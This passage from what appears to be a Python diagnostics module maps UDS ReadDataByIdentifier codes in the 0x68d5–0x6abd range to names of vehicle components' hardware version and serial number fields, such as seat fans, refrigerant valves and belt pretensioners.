\"Cell_module_controller_5_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d6] = \"Cell_module_controller_6_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d7] = \"Cell_module_controller_7_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d8] = \"Cell_module_controller_8_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d9] = \"Cell_module_controller_9_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68da] = \"Cell_module_controller_10_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68db] = \"Cell_module_controller_11_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68dc] = \"Cell_module_controller_12_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68dd] = \"Seat_backrest_fan_1_rear_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68de] = \"Seat_backrest_fan_2_rear_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68df] = \"Seat_cushion_fan_1_rear_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e0] = \"Seat_cushion_fan_2_rear_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e1] = \"Seat_backrest_fan_1_rear_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e2] = \"Seat_backrest_fan_2_rear_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e3] = \"Seat_cushion_fan_1_rear_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e4] = \"Seat_cushion_fan_2_rear_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e5] = \"Auxiliary_blower_motor_control_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e6] = \"Auxiliary_blower_motor_control_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e7] = \"Infrared_sender_for_front_observation_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e8] = \"Starter_generator_control_module_sub_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68e9] = \"Media_player_1_sub_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ea] = \"Media_player_2_sub_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68eb] = \"Dedicated_short_range_communication_aerial_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ec] = \"Refrigerant_pressure_and_temperature_sender_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ed] = \"Refrigerant_pressure_and_temperature_sender_5_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ee] = \"Refrigerant_pressure_and_temperature_sender_6_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ef] = \"Air_coolant_actuator_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f0] = \"Air_coolant_actuator_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f1] = \"Cell_module_controller_13_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f2] = \"Cell_module_controller_14_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f3] = \"Cell_module_controller_15_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f5] = \"Seat_heating_rear_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f6] = \"LED_warning_indicator_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f7] = \"Automatic_transmission_fluid_pump_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f8] = \"Manual_transmission_fluid_pump_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68f9] = \"Convenience_and_driver_assist_operating_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68fb] = \"Air_coolant_actuator_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68fc] = \"Valve_block_4_in_driver_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68fd] = \"Valve_block_4_in_passenger_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68fe] = \"Valve_block_4_in_driver_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ff] = \"Valve_block_4_in_passenger_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6901] = \"Rear_climatronic_operating_and_display_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6902] = \"Refrigerant_expansion_valve_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6903] = \"Refrigerant_expansion_valve_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6904] = \"Refrigerant_expansion_valve_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6905] = \"Refrigerant_shut_off_valve_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6906] = \"Refrigerant_shut_off_valve_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6907] = \"Refrigerant_shut_off_valve_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6908] = \"Refrigerant_shut_off_valve_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6909] = \"Refrigerant_shut_off_valve_5_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690a] = \"Sunlight_sensor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690b] = \"Near_field_communication_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690c] = \"Clutch_control_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690d] = \"Electrical_charger_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690e] = \"Rear_light_left_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x690f] = \"Rear_light_right_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6910] = \"Rear_light_right_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6911] = \"Sunlight_sensor_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6912] = \"Radiator_shutter_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6913] = \"Radiator_shutter_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6914] = \"Radiator_shutter_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6915] = \"Radiator_shutter_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6918] = \"Special_key_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6919] = \"Radio_interface_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691a] = \"Video_self_protection_recorder_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691b] = \"Special_vehicle_assist_interface_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691c] = \"Electric_system_disconnection_diode_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691e] = \"Belt_pretensioner_2nd_row_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x691f] = \"Belt_pretensioner_2nd_row_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6920] = \"Electrical_variable_camshaft_phasing_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6921] = \"Electrical_variable_camshaft_phasing_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6922] = \"Wireless_operating_unit_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6923] = \"Wireless_operating_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6924] = \"Front_windshield_washer_pump_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6925] = \"Air_quality_sensor_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6926] = \"Fragrancing_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6927] = \"Coolant_valve_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6928] = \"Near_field_communication_control_module_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6929] = \"Interior_monitoring_rear_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692a] = \"Cooler_fan_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692b] = \"Control_unit_heating_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692c] = \"Control_unit_heating_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692d] = \"Control_unit_heating_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692e] = \"Control_unit_heating_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x692f] = \"Operating_unit_drive_mode_selection_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6930] = \"Side_sensor_a-pillar_driver_front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6931] = \"Side_sensor_a-pillar_passenger_front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6932] = \"Sensor_high_voltage_system_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6933] = \"Side_sensor_b-pillar_driver_front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6934] = \"Side_sensor_b-pillar_passenger_front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6935] = \"Multi_function_steering_wheel_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6936] = \"Gear_selection_display_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6937] = \"Cooler_fan_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6938] = \"Gear_selector_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6939] = \"Interior_light_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693a] = \"Radio_control_center_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693b] = \"Multimedia_extension_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693c] = \"Control_unit_differential_lock_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693d] = \"Control_unit_ride_control_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693e] = \"Control_unit_hands_on_detection_steering_wheel_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x693f] = \"Front_climatronic_operating_and_display_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6940] = \"Auxiliary_display_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6941] = \"Card_reader_tv_tuner_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6942] = \"Park_lock_actuator_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6943] = \"Media_connector_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6944] = \"Catalyst_heating_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6a01] = \"Control_unit_for_wiper_motor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a02] = \"Rain_light_recognition_sensor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a03] = \"Light_switch_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a04] = \"Garage_door_opener_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a05] = \"Garage_door_opener_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a06] = \"Ignition_key_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a07] = \"Left_front_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a08] = \"Right_front_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a09] = \"Left_rear_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0a] = \"LED_headlamp_powermodule_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0b] = \"LED_headlamp_powermodule_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0c] = \"LED_headlamp_powermodule_2_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0d] = \"LED_headlamp_powermodule_2_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0e] = \"Operating_and_display_unit_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a0f] = \"Operating_and_display_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a10] = \"Right_rear_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a11] = \"Data_medium_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a12] = \"Drivers_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a13] = \"Front_passengers_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a14] = \"Left_headlamp_power_output_stage_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a15] = \"Right_headlamp_power_output_stage_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a16] = \"Sensor_for_anti_theft_alarm_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a17] = \"Rear_lid_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a18] = \"Alarm_horn_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a19] = \"Automatic_day_night_interior_mirror_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1a] = \"Remote_control_auxiliary_heater_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1b] = \"Fresh_air_blower_front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1c] = \"Fresh_air_blower_back_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1d] = \"Alternator_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1e] = \"Interior_light_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a1f] = \"Refrigerant_pressure_and_temperature_sender_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a20] = \"Sun_roof_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a21] = \"Steering_column_lock_actuator_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a22] = \"Anti_theft_tilt_system_control_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a23] = \"Tire_pressure_monitor_antenna_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a24] = \"Heated_windshield_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a25] = \"Rear_light_left_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a26] = \"Ceiling_light_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a27] = \"Left_front_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a28] = \"Right_front_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a29] = \"Control_module_for_auxiliary_air_heater_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2a] = \"Belt Pretensioner left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2b] = \"Belt Pretensioner right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2c] = \"Occupant Detection_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2d] = \"Selector_lever_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2e] = \"NOx_sensor_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a2f] = \"NOx_sensor_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a30] = \"Ioniser_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a31] = \"Multi_function_steering_wheel_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a32] = \"Left_rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a33] = \"Right_rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a34] = \"Left_rear_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a35] = \"Right_rear_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a36] = \"Display_unit_1_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a37] = \"Battery_monitoring_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a38] = \"Roof_blind_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a39] = \"Sun_roof_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3a] = \"Steering_angle_sender_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3b] = \"Lane_change_assistant 2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3c] = \"Pitch_rate_sender_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3d] = \"ESP_sensor_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3e] = \"Electronic_ignition_lock_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a3f] = \"Air_quality_sensor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a40] = \"Display_unit_2_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a41] = \"Telephone_handset_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a42] = \"Chip_card_reader_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a43] = \"Traffic_data_aerial_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a44] = \"Hands_free_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a45] = \"Telephone_handset_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a46] = \"Display_unit_front_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a47] = \"Multimedia_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a48] = \"Digital_sound_system_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a49] = \"Electrically_adjustable_steering_column_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4a] = \"Interface_for_external_multimedia_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4b] = \"Relative_Air_Humidity_Interior_Sender_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4c] = \"Drivers_door_rear_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4d] = \"Passengers_rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4e] = \"Sensor_controlled_power_rear_lid_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a4f] = \"Camera_for_night_vision_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a50] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a51] = \"Rear_spoiler_adjustment_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a52] = \"Roof_blind_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a53] = \"Motor_for_wind_deflector_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a54] = \"Voltage_stabilizer_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a55] = \"Switch_module_for_driver_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a56] = \"Switch_module_for_front_passenger_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a57] = \"Switch_module_for_rear_seat_driver_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a58] = \"Switch_module_for_rear_seat_front_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a59] = \"Switch_module_2_for_driver_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5a] = \"Battery_charger_unit_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5b] = \"Battery_charger_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5c] = \"Battery_charger_unit_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5d] = \"Air_conditioning_compressor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5e] = \"Neck_heating_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a5f] = \"Neck_heating_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a60] = \"Switch_module_2_for_front_passenger_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a61] = \"Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a62] = \"Compact_disc_database_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a63] = \"Rear_climatronic_operating_and_display_unit_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a64] = \"Rear_climatronic_operating_and_display_unit_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a65] = \"Door_handle_front_left_Kessy_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a66] = \"Door_handle_front_right_Kessy_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a67] = \"Door_handle_rear_left_Kessy_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a68] = \"Door_handle_rear_right_Kessy_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a69] = \"Power_converter_DC_AC_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6a] = \"Battery_monitoring_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6b] = \"Matrix_headlamp_powermodule_1_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6c] = \"Matrix_headlamp_powermodule_1_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6d] = \"High_beam_powermodule_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6e] = \"High_beam_powermodule_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a6f] = \"Air_suspension_compressor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a70] = \"Rear_brake_actuator_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a71] = \"Rear_brake_actuator_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a72] = \"Analog_clock_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a73] = \"Rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a79] = \"Data_medium_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7a] = \"Operating_unit_center_console_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7b] = \"Operating_unit_center_console_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7c] = \"Operating_unit_center_console_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7d] = \"Operating_unit_center_console_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7e] = \"Interface_for_radiodisplay_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a7f] = \"Parkassist_entry_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a86] = \"Belt_pretensioner_3rd_row_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a87] = \"Belt_pretensioner_3rd_row_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a88] = \"Injection_valve_heater_control_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a89] = \"Steering_column_switch_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8a] = \"Brake_assistance_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8b] = \"Trailer_articulation_angle_sensor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8c] = \"Cup_holder_with_heater_and_cooling_element_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8d] = \"Range_of_vision_sensing_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8e] = \"Convenience_and_driver_assist_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a8f] = \"Cradle_rear_climatronic_operating_and_display_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a90] = \"Trailer_weight_nose_weight_detection_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a91] = \"Sensor_carbon_dioxide_concentration_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a92] = \"Sensor_fine_dust_concentration_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a93] = \"Volume_control_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a94] = \"Belt_buckle_presenter_2nd_row_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a95] = \"Belt_buckle_presenter_2nd_row_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a96] = \"Operating_and_display_unit_6_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a97] = \"Active_accelerator_pedal_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a98] = \"Multimedia_operating_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a99] = \"Display_unit_3_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9a] = \"Display_unit_4_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9b] = \"Display_unit_5_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9c] = \"Control_module_for_auxiliary_blower_motors_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9d] = \"Operating_and_display_unit_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9e] = \"Operating_and_display_unit_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6a9f] = \"Operating_and_display_unit_5_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa0] = \"Side Sensor Driver Front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa1] = \"Side Sensor Passenger Front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa2] = \"Side Sensor Driver Rear_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa3] = \"Side Sensor Passenger Rear_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa4] = \"Front Sensor Driver_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa5] = \"Front Sensor Passenger_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa6] = \"Pedestrian Protection Driver_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa7] = \"Pedestrian Protection Passenger_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa8] = \"Rear Sensor Center_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aa9] = \"Pedestrian Protection Center_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aaa] = \"Pedestrian Protection Contact_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aab] = \"Pedestrian_protection_driver_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aac] = \"Pedestrian_protection_passenger_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aad] = \"Central_sensor_XY_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aae] = \"Refrigerant_pressure_and_temperature_sender_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aaf] = \"Refrigerant_pressure_and_temperature_sender_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab0] = \"Switch_for_rear_multicontour_seat_driver_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab1] = \"Valve_block_1_in_driver_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab2] = \"Valve_block_2_in_driver_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab3] = \"Valve_block_3_in_driver_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab4] = \"Switch_for_rear_multicontour_seat_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab5] = \"Valve_block_1_in_passenger_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab6] = \"Valve_block_2_in_passenger_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab7] = \"Valve_block_3_in_passenger_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab8] = \"Switch_for_front_multicontour_seat_driver_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ab9] = \"Valve_block_1_in_driver_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aba] = \"Valve_block_2_in_driver_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6abb] = \"Valve_block_3_in_driver_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6abc] = \"Switch_for_front_multicontour_seat_passenger_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6abd] = 